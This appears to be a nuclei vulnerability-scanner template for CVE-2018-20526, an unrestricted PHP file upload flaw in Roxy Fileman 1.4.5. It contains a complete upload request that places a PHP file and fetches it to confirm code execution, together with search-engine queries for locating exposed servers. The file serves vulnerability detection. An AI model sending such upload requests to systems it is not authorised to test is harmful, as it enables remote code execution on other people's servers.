nuclei-templates/http/cves/2018/CVE-2018-20526.yaml

90 lines
3.2 KiB
YAML
Raw Normal View History

2022-08-16 10:04:44 +00:00
id: CVE-2018-20526
info:
name: Roxy Fileman 1.4.5 - Unrestricted File Upload
author: DhiyaneshDK
severity: critical
description: |
Roxy Fileman 1.4.5 is susceptible to unrestricted file upload via upload.php. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to execute arbitrary commands on the target system.
2023-09-06 12:57:14 +00:00
remediation: |
Upgrade to a patched version of Roxy Fileman or apply the necessary security patches to prevent unrestricted file uploads.
2022-08-16 10:04:44 +00:00
reference:
- http://packetstormsecurity.com/files/151033/Roxy-Fileman-1.4.5-File-Upload-Directory-Traversal.html
- https://www.exploit-db.com/exploits/46085/
- https://nvd.nist.gov/vuln/detail/CVE-2018-20526
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-20526
cwe-id: CWE-434
epss-score: 0.00666
2024-05-31 19:23:20 +00:00
epss-percentile: 0.79658
2023-09-06 12:57:14 +00:00
cpe: cpe:2.3:a:roxyfileman:roxy_fileman:1.4.5:*:*:*:*:*:*:*
2022-08-16 10:04:44 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:57:14 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: roxyfileman
product: roxy_fileman
2024-05-31 19:23:20 +00:00
shodan-query: http.title:"roxy file manager"
fofa-query: title="roxy file manager"
google-query:
- intitle:"Roxy file manager"
- intitle:"roxy file manager"
2023-12-05 09:50:33 +00:00
tags: cve,cve2018,roxy,fileman,rce,fileupload,intrusive,packetstorm,edb,roxyfileman
2022-08-16 10:04:44 +00:00
http:
2022-08-16 10:04:44 +00:00
- raw:
- |
POST /php/upload.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20kgW2hEKYaeF5iP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="action"
upload
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="method"
ajax
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="d"
/Uploads
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php7"
Content-Type: application/octet-stream
<?php
2023-06-15 11:49:01 +00:00
echo md5('CVE-2018-20526');
2022-08-16 10:04:44 +00:00
?>
------WebKitFormBoundary20kgW2hEKYaeF5iP--
- |
2023-06-15 11:49:01 +00:00
GET /Uploads/{{randstr}}.php7 HTTP/1.1
2022-08-16 10:04:44 +00:00
Host: {{Hostname}}
host-redirects: true
2022-08-16 10:04:44 +00:00
max-redirects: 2
2023-07-11 19:49:27 +00:00
2022-08-16 10:04:44 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2023-06-15 11:49:01 +00:00
- "f76d6a5f7491700cc3a678bdba2902d3"
2022-08-16 10:04:44 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100969b7931eef16c35dad0a3ff96312be6778fc070a2fa4b1629741566a3d3221402204b0bbbabf6884dd90886ac0bcb080b5a5c83fcfd7bd4ed550c650b1b387d1081:922c64590222798bb761d5b6d8e72950